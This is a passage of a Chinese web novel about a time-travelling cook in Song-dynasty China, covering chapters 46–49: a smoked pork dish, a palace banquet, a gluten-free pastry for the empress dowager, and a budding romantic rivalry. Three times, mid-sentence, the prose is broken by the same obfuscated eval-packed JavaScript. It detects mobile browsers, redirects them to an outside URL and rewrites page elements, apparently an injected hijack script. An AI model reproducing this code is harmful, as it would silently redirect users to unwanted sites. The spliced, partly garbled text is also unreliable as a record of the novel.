锅里热油，先下入腊肉爆香，然后往锅中添入蒜末等佐料。 此处本是要加小米辣才最为正宗，奈何大宋还没有，于是她只得以胡椒、豆豉与姜丝替代。佐料一炒，香气呛人，随即下烟笋丝翻炒，锅中淋入酱油、撒入些许盐，末了，抛入一把嫩绿蒜苗，翻炒均匀便可出锅了。 灶房虽可通过烟囱排烟，但终归是没有抽油烟机，通风效率有限，炒一回此等熏菜，便已达到了“烟熏火燎”的境地。 云冯和郭栗祥在一旁呛得直咳嗽，以衣袖捂着口鼻、眯着眼，好奇地上前探看。 宋时人们多将腊肉、腊鱼、腊肠放在一起合蒸。诚斋野客在杭州为官时，便曾收到过友人馈赠的自制腊猪肉，还写下了“老夫畏热饭不能，先生馈肉香倾城。霜刀削下黄水精，月斧斫出红松明”这般诗句。 “黄水精、红松明”，足以显示烟熏腊肉的肉脂晶莹、肉质紧实、色泽诱人。 如薛荔这般炒制腊肉的，在当时估计很是少见。毕竟，也不是人人都想家中有个“烟房”的。 “香是香，就是呛人了些。”郭栗祥本就眼睛小，如是一眯起，便愈发瞧不见影儿了。 “你就说馋不馋罢。”薛荔笑眯眯地递来一筷子腊肉与笋丝，直白问。 郭栗祥“嘿嘿”两声，就着筷子一口咬下。咸鲜与烟熏风味在舌尖交织，笋干的干脆劲又衬托出腊肉的丰腴，都不用细品，滋味便挠一下蹿上来了。直至肉已下肚，他口齿间都盈着地道的柴火香气，久久不散。 高大上的菜肴须细品才能品出美味，而接地气的呢？舌尖一碰便知。 云冯见郭栗祥这般沉醉神情，也已自个儿抄起筷子“丰衣足食”起来。 “我倒觉，这烟笋较肉还要好吃许多。”口中脆生生的，耳朵里直放炮，可惜无意间的一口辣油呛得他猛咳，脸色一下子便憋红起来。 郭栗祥“诶哟”一声，忙去给他取水，不过云冯这小子倒很是机灵，急忙塞了个樱桃毕罗入口，借着樱桃果酱压下辣味。 好几口樱桃毕罗下肚，云冯顺了顺肚子，欣喜道：“你还真莫说，这般搭配着吃，我能吃一辈子！” 薛荔忍俊不禁。这不就是现代人常说的“甜咸永动机”么？ 她装出一小盘，留给他二人作加餐，余下的同其他小菜装进食盒里，一会儿一道送去墨竹堂。 “嗯，你别忙活了，这食盒我给侯爷送去就行！”云冯连忙咽下口中的腊肉，朝她道。 薛荔笑着摆手：“莫操心啦，你好好吃你的便是。” 正好她也想去瞧瞧，如今齐恂体况如何了。 46. 烟火吾归处 墨竹堂院内。 自打午后饮下那一盏炖盅，齐恂只觉撑肠拄腹，撑得难受。若照这般每日吃了便坐下看公文，看完公文复又进食，不消半月，他便可出栏了。 他索性拎枪到院中演练，即可舒筋展骨，又可消食解胀。 长枪凛飞，白袍翻卷，秋日的残阳柔和万分拂落，而他的背影却冷峭如松，逸态横生。 薛荔才一踏进堂院，便乍见眼前这派场景，脚步便不由一顿。 这还是朝官们口中那个整日病恹恹、沉疴缠身的齐恂么？ 此刻的他额角微渗薄汗，眸光灼灼如炬，长枪横扫之际，隐约可袭来一阵扑面劲风。 薛荔眉心微蹙，身体都这般不好了，还搠枪动仗的，教人如何不担忧？ 不对……若他真的病入膏肓，那这般锋芒又是从何而来的？ 一阵猎风拂面风刮过，薛荔只觉面上一凉，瞬时间回过神来。再凝眸去瞧，齐恂已将眸光落在了她身上。 他将长枪一收，朝她走来：“今日得闲？居然亲自来送膳。” “我瞧侯爷压根无需进膳，身子骨好着呢。” “饭还是要吃的，只是炖汤少些便好。”齐恂眉宇一舒，笑了笑，似乎携着一丝宠溺之意，“外边风凉，随我进屋吧。” 进了屋，薛荔将食盒放下，把其中的菜肴次第摆开。 山家三脆、芋煨白菜、糟鹅、芥辣瓜儿……齐恂一眼扫去，待瞧见最后一道时，微皱了皱眉。 那是……腊肉？ 见齐恂一直瞧着这道菜，薛荔开口解释道：“侯爷不是说，想尝一尝接地气的菜么？儿家便做了一道‘烟笋炒腊肉’。” “腊肉历经日炙风吹，又以果木柴火熏制，集天地之精华，滋味笃厚浓烈。而烟笋由土而生，自带鲜味，二者同炒，连盐也不必多下，最是浑朴天然。” 齐恂听着，额角跳了跳。 云冯那呆子。他的意思分明是想吃些清淡素馔，怎倒成了接地气？ “侯爷怎地光顾着瞧，不尝尝么？” 齐恂一顿，只得举筷箸夹了一块腊肉送入口中。 身旁薛荔又细细念来：“侯爷未免太不顾惜自个儿的身子了，分明尚未痊愈，却还舞枪弄棒。若是牵及旧伤，那该如何是好？腹伤本就伤及元气，眼下正是需颐精养气的时候……” 齐恂将这些念叨照单全收，却不觉烦扰。 口中的腊肉于两齿磋磨间，逐渐迸发出令人生津的咸香，精瘦之处瘦而不柴，肥腴之处澄而不腻，果木柴火香气馥馥……不，那当是真正的人间烟火至味。 侧耳倾听，薛荔仍在叮嘱，事与具细。不知他漏听了哪一部分，言到最后时，她竟隐约带出一丝哀伤之情来。 “……总而言之，侯爷，我可不希望你一命呜呼，珍味铺的营生才拓宽没多久，用钱之处不少，儿家还得靠侯府这份差事补贴店用呢。若侯爷真驾鹤西去，我这珍味铺便也得呜呼了。侯爷，您可千万得将养好身子呀！” 齐恂：“……” “谁同你胡说了些什么？” 薛荔一怔，欸？ “不是侯爷自己所说么？”她将那日听闻的和盘托出，“那日儿家为老太君送膳，无意间听得您同云冯的对话，还是您亲口道什么‘此身病势缠久’，儿家才会以为……” “以为我命不久矣了？”齐恂接过话。 薛荔望着他，讷讷点头，神色复杂。 齐恂是既想笑，又觉无可奈何。 说她是个小财迷罢，却又时常关切着你，总能教人心中泛起温暖。 “侯爷笑什么？”薛荔脸微热。她说的话何时这般引人发笑了？ 齐恂忍住笑意，摇了摇头，终是将实情告知她。 听罢，薛荔久久不能回神，面上一阵涨红，只觉自己闹了个天大笑话。 什么嘛，原来只是欲佯作病殃，偏偏她只听去假的那一部分。 “怎么不说话了？”齐恂有意逗趣她。 薛荔绯红着个脸：“……” 齐恂见状，笑声低溢，心情大好，反倒畅快地用起膳来。 他幼时父母早故，太母将他接过抚养。老人家晚年丧子，照料起年幼的孙辈来便更是殷切又忧虑，每日饮食必精心打点，三汤两割、水陆毕陈。 孩提时的他虽饱食珍馐，却常觉孤清，时而想与太母一同用膳，而太母却觉：一则祖孙二人膳食不同，二则男儿当自小独立，过于宠溺不可取，是以鲜少准许。 从前独自一人食遍山珍海味，却味同嚼蜡。而今，案头不过烟笋腊肉，却因身侧有人絮语陪伴，更添滋味。这一刻，他才真切觉出，人间烟火，方是吾归处。 - 要说邓侨此人究其有何优点，审时度势定然要算在其中。 打从上回延和殿“一役”，他同齐恂交锋时于嘴上吃了亏，筹备御宴的这两日里，他可谓是正儿八经的安分守己，不敢再生半分事端。 御宴当日，尚食局内，众人忙碌。 邓侨身为??光禄寺丞，虽不必亲自下厨，但亦免不了值守局中监工。 院内秋风瑟瑟，他着一身天青襕衫，立身膳房窗外，同身旁的主簿小弟各手捧一只热乎乎、香喷喷的烤芋头，一口接着一口地啃，吃得满嘴喷香。 “寺丞，咱们为何非得要躲在这檐下吃啊？”主簿小弟边啃边问。 邓侨从芋头的凹槽里抬起头来，白了他一眼：“放屁，这能叫‘躲’？这叫监工！里头那位若要耍什么花样，咱们岂非第一时间能察觉。” 主簿小弟顺他抛的视线看去，原是指的一窗之隔，正于膳房里忙得热火朝天的薛荔：“可……咱们吃的也是她烤的，这般做是不是不太君子？” 早在备膳之前，薛荔便料到今日御宴必是一场硬仗，众人未必能腾出空来用膳，是以预先烤好了两大筐芋头，随饿随取。 邓侨冷冷道：“不君子？那你莫吃！” 他伸手去夺，被小弟笑嘻嘻躲开。 “戏言！愚弟这纯属戏言嘛！”主簿小弟捧着芋头不撒手。 这芋头烤得比御街上小贩们卖的还要胜上几筹，不用自个儿剥皮，表面还刷了层薄薄的蜂蜜水，又撒了咸香椒盐，再配上本就粉粉面面的芋头，在这肃杀的秋日里来上一口，莫提有多香了！ 邓侨的腮帮子里还鼓着未咽下的烤芋，只鼻间冷哼一声。 “也是，吃人嘴软，这下咱们亦不好再给她添乱子了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871963|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”主簿小弟道。 “我瞧，你可当真是笨煞人也。”邓侨没好气地咽下一口芋头，“不给她找麻烦，当然是因眼下风头紧。御厨已定她了，官家又分外看重这场宴席，这会儿若是出了何岔子，你我二人的脑袋还要不要？” 主簿小弟恍然，忙不迭称是：“还是寺丞有远见。” 二人聊罢没一会儿，膳房的支摘窗“哗啦”一声从内被推开，一颗簪着几朵琉璃绒花的脑袋瓜冒了出来：“吃旋炒栗子么？” 耳畔骤然一道声音炸开，邓侨登时嚇得往旁一跳。而后，似乎觉察到自己失态，板起脸瞪了她一眼，理了理衣衫，冷冷道：“既处宫廷，还请薛小娘子莫要咋咋呼呼。” 装什么啊…… 薛荔提着一篮油光锃亮的糖炒栗子，递到二人脸前，轻轻一抖，栗子碰撞“哐啷”作响：“刚出锅的，还热乎着呢。” “你负责的御膳都完工了？竟还有闲心炒栗子？”邓侨冷面质问。 “主菜吃尽之后才是牡丹豆腐，时间宽裕，邓寺丞大可安心。”薛荔懒得理他，转手就将篮子往主簿面前递递，朝他盈盈一笑。 后者见此花容月貌，脸霎时间便泛了红，不好意思地取了几粒板栗：“多谢薛厨娘照拂。” 出息！邓侨瞧着下属这般不值钱模样，打心底里恨铁不成钢。 “唉呀，莫要客气，值守辛劳，多吃些吧。”薛荔又亲自抓了两把栗子塞到他手里，随后才慢悠悠问邓侨，“邓寺丞不吃罢？” 此话虽是问句，却根本不待他答话，她径直收了篮子便要关窗。 邓侨冷哂一声，一个伸手扣住篮筐，硬是捞了满满一大把栗子，才推回篮子：“干你的活去。” 薛荔面上仍笑盈盈地，实则窗子合上的一瞬，悄悄咒骂了句。 “寺丞，我吃这栗子是迫不得已为了客气，可您不能吃啊，您吃了那岂不显得咱们很好说话？”主簿小弟用牙将栗子磕开了个小口，边剥边吃，“嘿！这栗子香香甜甜，丝毫不比那李和煼栗差哩。” “就你聪明。”邓侨直给他脑门上来了个爆栗，夺过他手中剥好的那颗糖炒栗子，丢进嘴里，“哪里吃的亏，就要从哪里爬起来。” 上回延和殿中嘴仗输了，这回，他非得吃回本来不可！ …… 水豆腐本就细嫩易碎，而牡丹花的造型却很精致复杂。花瓣叠现，花蕊纤细，雕刻之人的腕力必须稳健，才可确保花形完整，从尚食局运送至诸位贵人的桌上时，不至破碎。 薛荔连着雕了数十道牡丹豆腐，一整套功夫重复个这么多遍，指尖酸麻，眼睛也被白茫茫的豆腐映得发花。 待最后一朵完工时，她暗暗吐了口气，找了个角落悄悄坐下，靠着墙壁赶紧歇会儿。 正闭目养神呢，膳房里似乎又热热闹闹地来人了。 “……让我看看此前七日的膳食著录。”一道清冽的男声出现，语调温和，似乎是个温润如玉的郎君。 “萧次首，近两周的著录悉数在此，下官复查过多遍，当是半分问题也没有的。”另一说话之人薛荔认得，乃她刚入尚食局时，领她熟悉环境的典膳。 听这话的意思，貌似是宫中哪位贵人的饮食出了差池？ 47. 蜜豆金乌烧 纸张翻动的“沙沙”声响传来，那位“萧次首”沉吟片刻后道：“食材温补，按理无妨，但近日太后娘娘的湿疹愈发加重，不得不一一排查。” 原是太后有疾。 鲜闻皇家八卦，薛荔饶感兴趣，竖起耳朵听起来。 “会不会，主症并不在湿疹？”典膳迟疑问道，“毕竟前段时日，院首将其诊断为‘虚寒症’，太后娘娘时常倦顿气短，不也恰好相合？” 萧文清垂眸思忖。其实，太后之疾未必真因虚寒，但院首之言他不便公然驳斥，只淡淡摇了摇头：“再将前一月的膳食著录拿来。” 典膳面露难色，这事都查过许多回了，就是查不出个所以然来。 可奈何面前这位乃翰林医官院次首呢？其父乃医官院前院首，在如今这位太后还是皇后之时，便深得其心。虽说前者已致仕多年，可太后见其子聪慧过人、通晓医理，便开恩子承父业，授萧文清次首一职。 他倒也不负太后所托，于医学上很是了得。当年梓州鼠疫，正是他配出药剂，方救了万数黎民的性命。 典膳无可奈何，却又不敢怠慢，只得去取膳食著录。 萧文清皱眉览册，仍在思索究竟是哪一环节出了差池。 “近来太后可还出现过胀气之症？” 萧文清一回首，不知何时，一脸生的玉面佳人已站在他身侧，螓首蛾眉，好不妍丽。 如此佳容，但衣着打扮却不浮华，应当并非哪位新入宫的妃嫔，但观气度，又不似婢役。 他怔了怔，有礼道：“在下翰林医官院次首萧文清。” 古人说这话，一般便是让对方也自我介绍一下了。 薛荔反应过来，姗姗行礼：“民女薛荔，奉旨入局为御宴帮厨。” “原是薛小娘子。”萧文清了然，眉眼间多了几分赞许。 早听闻，陛下因一道雕花豆腐钦点了一位年轻女子制膳，据说那豆腐雕得栩栩如生，正似一朵盛放牡丹：“不愧是陛下一再钦点的人。” “次首听说过我？” 萧文清温和笑了笑：“宁武侯于饮食一事上向来挑剔，能让他留在府中的人少之又少，在下自然久仰薛小娘子之名。” 薛荔掩唇一笑，这还是头一回从旁人口中听见蛐蛐齐恂的。 话归正题，萧文清郑重问询：“你方才提问，太后可否出现过胀气之症，为何有此疑？” 薛荔微微一窘。 额……这该如何同他解释才好？她总不能直接说，自己怀疑太后对麸质过敏吧？这一概念在大宋还未萌芽呢！ 她只得临机编了个谎：“萧次首久值宫廷，或许未曾听闻民间常有一病症，唤作‘麸疾’，乃脾胃畏麦。若进食麦物，便会胀气、气短，甚至发疹。儿家祖上曾开过药铺，自幼也略知些医理，方才听您与典膳议论，这才想起此症来。” 萧文清凝神听完，并未第一时间质疑，反倒细查膳食著录：“……你说的不无道理，此前太后确有每日进食麦物。” 他指尖点在册页上，逐条示给她看： 蜂糖糕、莲花蟹肉馒头、梅花汤饼、油炸馓子、笋丝麸儿……看来这位太后很会吃嘛！不不不——重点在于，这些食材无一不是小麦制品才是。 恰好，此时典膳将一个月的著录也送来，二人合力翻看，不出意料，处处可见小麦踪迹。 “若真如此，唯一的法子，便是戒断麦食。”萧文清敛容。 可北方素以面为主食，太后千金贵体，吃惯了面点，骤然换食，只怕难成。且万一这位薛小娘子判断有误，太后戒断麦食而贵体不见好转，这也是件极让人头疼之事。 “这个好办。”薛荔松快道，“麦食吃不得，还有米、豆、薯类可替。像米糕、米饭、米粥、芋头、山药、豆腐，这些样样能饱腹。” “话虽如此，但太后对这类食物无甚兴趣。”萧文清摇头，“此前御厨皆有尝试，但最终因太后不喜，皆以失败告终。”忽然，他眸光一亮，落在她身上，“或许，薛小娘子的厨艺可以一试？” “我？”薛荔挑眉，环视起这间铜鼎瓷盘、刀灶俱全的梦中膳房，心里一阵火热。这般顶配，对于一位厨子而言，说不动心那是假的，“自然可以！”但旋即一想：“不过，太后会许我为她制膳么？” “这点你无需担心，我来安排。”萧文清一笑，眉目温润。 - 既是麸质过敏，吃不了小麦，的确会少许多主食的选择，但也不是全然没有。 薛荔略思片刻，决定做一款宋式铜锣烧替代。 寻常的铜锣烧以低筋面粉为主料，虽说低粉含麸量较低，但毕竟是做给太后吃的，保险起见，还是改用磨细了的大米粉更为稳妥。 但也不能光用大米粉，为了增添面糊黏性，她还往其中掺入了糯米粉，接下来再打入两枚鸡蛋，添些盐、蜂蜜与牛乳。 原该有泡打粉以助铜锣烧的口感更为松软，但眼下此物尚未问世，她便取来一小块酒酵饼，用米汤和匀调成糊糊，拌入粉料中，拿大木勺搅和搅和，待到面糊成了酸奶质地，便往盆上覆一块湿麻布，搁到一旁静待发酵。 面糊备妥，接下来便是红豆沙馅。 这倒好办，因为她去寻红豆时，刚好寻到了御厨们留着做桃夭酥用的一盆豆沙馅。豆沙早已加了许多豕油与蜂蜜调好滋味，她将鼻尖凑近轻嗅，便被那蜜蜜甜香盈了满怀。如此一来，她也省去泡豆煮豆的工夫。 思量着面糊发得差不多了，薛荔揭开湿麻布，木勺一搅，将面糊上冒出的小气泡搅匀。平底铁锅上润一层薄薄的豕油，待铁锅烧得热透，再一把深口肚大的汤匙舀起一勺面糊，自高处缓缓倒下。 奶黄色的面糊落锅生姿，自然而然摊开成一枚圆饼，小火慢煎，待到饼面上煎出小气泡且裂开时，便可翻另一面煎熟。 薛荔不慌不忙，每煎一两块，便将锅拿离火苗稍稍降温，好使后头出炉的面饼色泽均匀，皆是焦糖般的黄褐色。 不过多时，温热的甜香逐渐氤氲开来，胖乎乎、圆嘟嘟的铜锣烧摞在白瓷碟上，宛若小塔。 她美其名曰要先尝尝味道是否合适，于是拿边角料给自己做了个迷你版的铜锣烧。 取一块小面饼，抹上厚厚的红豆沙，再于小山似的豆沙上覆一块面饼，两指轻轻压合边缘，便成了个圆鼓鼓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885258|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的小口袋。 她将铜锣烧举到鼻尖嗅了嗅，甜香更是馥郁了，旋即张嘴咬下一大口。铜锣烧小小一个，这一口下去，正好落在中间豆沙馅最厚实之处。 贝齿先破开松软的饼皮，随即陷入绵润的甜陷里，似乎深不见底。小山似的豆馅裹满了上齿内腔，直让人一侧腮帮都鼓起，这才敦实地着陆在下边的面饼上，再度破开，重新同下齿拥抱。 舌尖渐渐尝出蜜豆的醇甜来，薛荔闭上双眼，直美得摇头晃脑。 - 寿慈宫?中，檀香袅袅。 太后撑肘扶额，倚坐在雕花椅上，眉心微皱，脸颈泛红，气短得厉害。 一旁宫女持着檀香扇，轻轻扇风，试图让空气流通些许。 见萧文清来了，太后摆袖：“免礼罢，可查出来吾的饮食究竟有何不妥了？” 萧文清恭敬道：“回禀太后，微臣查阅了近一月以来的膳食著录，发现娘娘皆有摄入麦食，是以微臣斗胆猜测，娘娘的气短、湿疹或因‘麸疾’所致。” 太后眉头更蹙：“那该如何诊治？莫非今后连一口麦食都不能沾？” “太后贵为坤极之尊，吃尽天下万食无所不可，但较于令您生疾的麦食，或许平和中正的米食、豆食更能裨益贵体。”说着，萧文清示意宫女布膳，“今日尚食局特制了一道‘金乌烧’，不搀麦粉，乃大米粉所制，娘娘可先一试。” 那圆鼓鼓的点心被摆到案上，模样似荷包般玲珑。 太后瞧了眼吃食，不由得眼笑眉舒：“你们倒好，莫非是将吾当稚童来哄了？吾虽上了年纪，却也不到蛮不讲理的地步……也罢，呈上来尝尝罢。” 宫女依着先前薛荔吩咐的法子，将金乌烧自最鼓之处对半剖开。 蜜红豆沙由两片煎色如落日的面饼裹挟着映入眼帘，倒真应了它这“金乌烧”之名。 太后虽欲维持颜仪，却也是个老餮，晓得边角的薄薄馅料之处，断不会像馅料厚实处那般好吃。索性命宫女再切作数块，拣了最丰腴的一块入口。 米粉面饼暄软无比，不似麦饼那般韧硬，轻轻嚼两下便散，倒正合她这把年纪的牙口。再一品，蜜豆馅儿糊满口腔，衬托着散发乳香与蛋香的饼皮，久久回甘。 萧文清问道：“太后觉得如何？” 太后以帕揩唇角，点头笑道：“此物是何人所制？快叫他再做上十来个，给吾的乖孙孙们每人都尝尝。” 萧文清失笑。老人家方才还言，莫将她当作稚童来哄呢，可如今连爱吃的吃食都与孙辈们爱吃的无差了。 “此事恐怕略有难办。”他躬身道，“微臣不敢居功，今日之法，实是陛下钦点的帮厨小娘子所出。麸疾’之症，亦是她点醒的微臣。那位小娘子恰好亦是宁武侯府中的一位厨娘，御宴一毕，她便要回侯府，恐怕无法为几位皇子公主烹制金乌烧。” “哦？竟还在齐家小子府上做厨？”太后眼底透出笑意，“那孩子是我看着长大的，他嘴最是挑剔，能叫他留在府中的厨子，定然是有一双巧手的了。你去，就说是吾找他借人来一用，他不会计较。” 萧文清低笑：“侯爷敬爱娘娘，自当应允。” 48. 雨夜候佳人 太后添了几分兴趣，又道：“去将那小厨娘唤来，吾要见见，究竟是何人能做出此等佳肴。” 不过多时，薛荔被引入寿慈宫。 她站定一抬眸，便瞧见为首的雕花椅上坐着一面若满月的老妇，头梳高髻，缀着翠羽博鬓，眼尾下垂，双目正慈和含笑地打量着她。不像审视，反倒似老祖母看孙女般，甚是满意。 薛荔只觉有种见到自家奶奶的亲切感，忙福身行礼，温声细语道：“太后娘娘颐安。” “好孩子，起来罢。”太后抬手示意赐座，“今日这金乌烧，可是你做的？” “回娘娘，正是。”薛荔有些摸不准，瞧太后这神情，当还算满意才是。 果然自个儿还是后宫小菜鸡一枚，真正面对起宫廷里的女子来，不见得有自己看宫斗剧时那般轻松。 眸光再一转，发觉对面站着的萧文清似乎一直关注着自己，眉眼如玉般温和地朝她微笑，大抵是要她安心。 太后又言：“文清言吾身上这‘麸疾’是你发觉的。你是如何知晓的？连御医们都不曾察出。” “不瞒娘娘，民女祖上行医，幼时便也略习了些医理。” 薛荔镇定回道：“宫中可选的食材繁多，贵人们不易得此病，但民间百姓们的主食以麦为主，常有患湿疹、气短胀气者，被郎中诊作‘麸疾’。若欲此疾不再复发，唯有避麦一法。民女无意间从萧次首那里听闻了太后的症状，心中对照，觉得颇为相似，便擅自将用了这粗法，还望太后娘娘恕罪。” “既是百姓们惯用的法子，又怎能称作‘粗法’？”太后含笑，眉目舒展，“你做得甚好，倒是医官院里的诸位御医该抚躬自问，为何连这等小病都无从疗愈。” 萧文清忙上前请罪。 “好了，好了。”太后忍俊不禁，话语里含着几分打趣，“你替吾寻了这么一个可心的小厨娘，便算你将功折过。”转眸又望向薛荔，“吾这身子调理还需时日，你的手艺极好，吾欲留你在宫中小住半月，也好常做几个金乌烧，叫那几个皇孙们尝鲜。你意下如何？” 留住宫中？薛荔心头一跳，意外极了。 “可侯爷那边……” 她话还未说完，太后已笑着接道：“恂哥儿那孩子孝顺得紧，哪会为此介怀？” - “她要留在宫里？！” 宫门外，雨声如注。一辆高大华贵的马车孤零零地伫在门口，檐溜之水不断滴落，映得夜色沉沉。 云冯忍不住小心纠正道：“也并非薛小娘子自己要留，是太后娘娘将她留在宫中的。” 齐恂望着车帘外的雨幕，静默了好一会儿。 御宴时候，他便想念着她了。 瞧见青白瓷中的那道“牡丹豆腐”，惦念她；入口一道清甜的荔枝蜜煎，惦念她；听闻殿外的阑风长雨，仍是惦念她。几个时辰下来，什么都没吃好，云冯若晓得他在想什么，定会说他，这患的哪是胃疾，实是相思病。 这般瓢泼大雨，宫中送她回府的车马哪会有他的马车坐着舒适？ 他不放心，早早备了袖炉毛毯，又遣人将车马驶至离尚食局最近的那道宫门，只待宴散接她同归，免得她淋湿分毫，着凉半点。 可等了又等，直将邓侨那令人厌烦的伪君子都等来了，还不见她人影。 “侯爷还在等人呢？”相隔一驾车马，邓侨掀开车帘，似笑非笑，“可惜啊，你有佳人一位，可佳人似乎却不只有你一位。” 说罢，恣意一笑，扬长而去。 齐恂拧了拧眉，唤住云冯：“今日太后为何召她？” 云冯答道：“听闻薛小娘子在尚食局碰见萧次首，偶闻太后不适，便替太后烧了一道菜肴，太后尝罢赞极，这才将人留在了宫中……还说……” “说什么？” “太后娘娘说，您最是孝顺，不会介怀的。”云冯硬着头皮回道。 齐恂只觉一股气堵在胸口。太后待人素来和善，但能动心将薛荔留在宫中，其中少不了萧文清没事找事。 再望帘外，雨甚风疾，天色墨黑。 他终是垂了眼眸，放下车帘：“回府。” - 薛荔于寿慈宫中待了不过数周，便叫太后她老人家见识了无麸之食的千般巧妙吃法。 从寻常的菠菜鸡蛋煎饼、栗粉山药泥、蟹肉笋丁烧麦，到粘豆包、莼菜莜面鱼鱼、酸辣菉豆冷淘凉皮，最终甚至自制起了越南春卷皮、米面包、无麸质披萨！ 太后娘娘对这双巧手赞不绝口，更是打心眼儿里爱薛荔那抹了蜜似的小嘴，隔三岔五便逗趣说要替她择一位如意郎君。 “老人家嘛，正是爱点鸳鸯谱的年纪。” 延和殿内，官家与齐恂对坐弈棋，前者见后者面色淡淡，还故意侃问道：“最近你怎这般勤快？三日两头地往宫中跑，可比你去岁一整年加起来都多。” 齐恂眸光微敛，不自觉望向窗外：“陛下不是常道每回与臣对弈都未尽兴？臣这段时日身体渐好，自当陪陛下将旧局补回来。” 官家顺着他的目光看去——虽瞧不见栋宇，但那是尚食局的方向。 他摇头低笑：“不过话说回来，太后既有意为她指婚，那家世定也不差。只是若身份悬殊太大，婚后未必能和睦。朕打算封她个郡主名号，届时婚事风光大办，也为太后添喜，你意下如何？” 齐恂神色不改，只道：“太后愿指婚，自是喜事。不知太后可已有中意人选？” “高门大族家的公子或许勉强，但太后身边不也有几个欣赏的清门子弟？与平民郡主相配也足够体面。”官家语带笑意，“朕倒记着似乎有个萧氏子弟，面如冠玉，仪态翩翩，配你府中那位——欸！起身作甚，棋不下了？” “臣忽而腹中不适，需去便旋片刻。”齐恂已干净利落地起身致礼告退。 官家瞧他疾步离去的身影，笑意愈深。 谁家好人便旋是往膳房处走的？ - 明明是寻自家厨娘，却还得寻到旁人家的膳房里来，这算哪门子道理？ 齐恂心中闷气翻腾。 待他走入尚食局，瞧见一个本不该在此处的人站在薛荔身旁，且还同她言笑晏晏时，便脸色愈沉，更为堵心了。 “此物乃天台赤芝，可益心气、安精魂。”檐下，萧文清将一雕花木盒递给薛荔，语气温柔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16905752|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 薛荔接过，轻启盒盖，登时嗅到沁出一股清香，再瞧模样，果真是株成色极好的赤芝：“你若早些送来便好了，今儿太后娘娘的膳食我都备妥了，还做了道专补气血用的红枣桂花米糕。要不明日我再……” 话还未说完，萧文清低笑着摇了摇头：“不，这是给你的。” “我？”薛荔抬眸，措不及防撞进他那温柔眼眸里。脑中空白一瞬，电光火石之间，似乎突然意识到了什么，她忽地反应过来，“……你，该不会前些天给我的那些东西，也是送予我的？” 萧文清颔首，见她错愕的神情，似乎明白了：“莫非你一直以为，我做那些是为太后？” 薛荔怔怔点头。 可不是么，他送的全是些膳用珍材，什么阇婆国肉豆蔻、蜀州雪耳、万春银叶茶膏……皆是珍稀食材，虽说这些物什恰好都是她用得上的，但二人相处不过数周，她自然会认为这些好东西都是给太后调理身子所备。 萧文清瞧她呆愣，不禁轻笑：“此事怪我，木讷寡言，不敢向你明言心意。” “诶？嗳，也没有……”薛荔心底里头直叹气。他这若算木讷寡言，那齐恂岂不是已经自闭了？ 萧文清见她叹息，忙安抚道：“你莫要有压力，我只想问一句……你可否对我有一丝好感？” 闻言，薛荔抬眸，凝他少顷。 要说好感，自然是有的。 眼前这人风神俊逸、气度温文，待人周到得恰到好处，饶是送礼物也贴心至极，若说全无一丝好感，那才是骗人。 只是……对他的这份好感，却与对齐恂那份全然不同。 “萧次首不在医官院待着，有何要事须往尚食局跑？”静默的气氛之中，一道冰冷的声音突兀插入。 萧文清侧目，见齐恂面容淡漠而来，身遭冷气森森。 “侯爷。”他一笑，问候道，“侯爷气色不错，身子骨可是好全了？” “萧次首既专为太后诊疗，便无需挂心本候体况，还是务正业守在寿慈宫中才是。” 两人各说各话，丝毫不理对方意图。 齐恂瞥见薛荔手中那方雕花木盒和里面的东西，淡声问：“给太后的？” 薛荔心中警铃大作，立刻将盒子一阖，干笑道：“对啊，萧次首特意将此物送来，要我添入太后娘娘的膳食之中。”边说着，心里却暗暗祈求，只盼着萧文清会意，将这番话圆上才好。 齐恂又冷冷扫了眼萧文清，后者似是不曾瞧见他这毫不友善的目光，只了然一般，温和叮嘱薛荔道：“虽是为太后调理饮食，但你亦要顾惜自己的身子。医官院近日整理药材，有些余料极好，明日你若得闲，不妨来取些走，顺道我将调养之法一并教给你。” 宫中的药材？那都是顶好的呀！薛荔眼神都亮了几分。 俗话还说得好呢，有便宜不占王八蛋，左右都是白给的物什，不要白不要。 见她一派心动模样，齐恂只觉无力，竟然养了这样一只爱贪便宜的小白眼狐狸。 “侯爷！您怎么了？”正思忖着，薛荔忽见齐恂额心一蹙，面色沉凝，一手抵墙，一手按腹，面色发白地渐弯下腰来。 49. 装病诱荔娘 薛荔匆匆赶回，手里捧着一碟红枣桂花米糕，气喘未匀，便撕下一块递到他唇边：“先吃一块米糕垫垫肚子罢。你饮食从来都不规律，眼下指不定就是胃烧得疼呢？” 齐恂的目光落在那碟又是红枣，又是桂花的亮晶晶糕点上，想来都知该是如何蜜甜般的滋味？更何况，他尚且不饿。 